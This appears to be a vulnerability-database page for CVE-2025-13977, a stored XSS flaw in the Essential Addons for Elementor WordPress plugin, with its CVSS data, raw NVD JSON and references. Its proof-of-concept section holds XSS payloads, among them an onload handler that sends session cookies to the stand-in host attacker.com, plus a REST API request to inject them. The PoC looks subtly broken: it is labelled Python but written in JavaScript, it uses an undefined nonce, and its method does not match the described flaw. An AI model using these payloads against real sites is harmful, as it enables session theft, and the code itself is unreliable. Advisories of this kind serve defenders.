Security Vulnerability Report
中文
CVE-2025-13977 CVSS 6.4 MEDIUM

CVE-2025-13977

Published: 2025-12-17 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple attack vectors in all versions up to, and including, 6.5.3. This is due to insufficient input sanitization and output escaping in the Event Calendar widget's custom attributes handling and the Image Masking module's element ID rendering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Essential Addons for Elementor ≤ 6.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13977 PoC - Stored XSS in Essential Addons for Elementor // Requires Contributor-level access or higher // Method 1: Event Calendar Widget Custom Attributes const eventCalendarPayload = { post_id: 123, widget_settings: { ea_event_calendar: true, custom_attributes: [ { attribute: 'onerror', value: "alert(document.cookie)" }, { attribute: 'onload', value: "fetch('https://attacker.com/steal?c='+document.cookie)" } ] } }; // Method 2: Image Masking Module Element ID const imageMaskingPayload = { post_id: 123, widget_settings: { ea_image_masking: true, masked_image_id: 'test"><script>alert("XSS")</script>', element_id: 'malicious\" onfocus=\"alert(1)\" autofocus x=\"' } }; // Exploit: Inject via WordPress REST API or Elementor editor fetch('/wp-json/wp/v2/posts/123', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpNonce }, body: JSON.stringify({ content: '[ea-event-calendar]' + JSON.stringify(eventCalendarPayload) + '[/ea-event-calendar]' }) });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13977", "sourceIdentifier": "[email protected]", "published": "2025-12-17T04:15:44.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple attack vectors in all versions up to, and including, 6.5.3. This is due to insufficient input sanitization and output escaping in the Event Calendar widget's custom attributes handling and the Image Masking module's element ID rendering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.1/assets/front-end/js/view/event-calendar.min.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.1/includes/Extensions/Image_Masking.php#L498", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-addons-for-elementor-lite/tags/6.5.1/includes/Extensions/Image_Masking.php#L587", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3419289/essential-addons-for-elementor-lite/trunk/includes/Extensions/Image_Masking.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a0de0b28-fbad-4fcf-a7ab-35c545c19a4a?source=cve", "source": "[email protected]"}]}}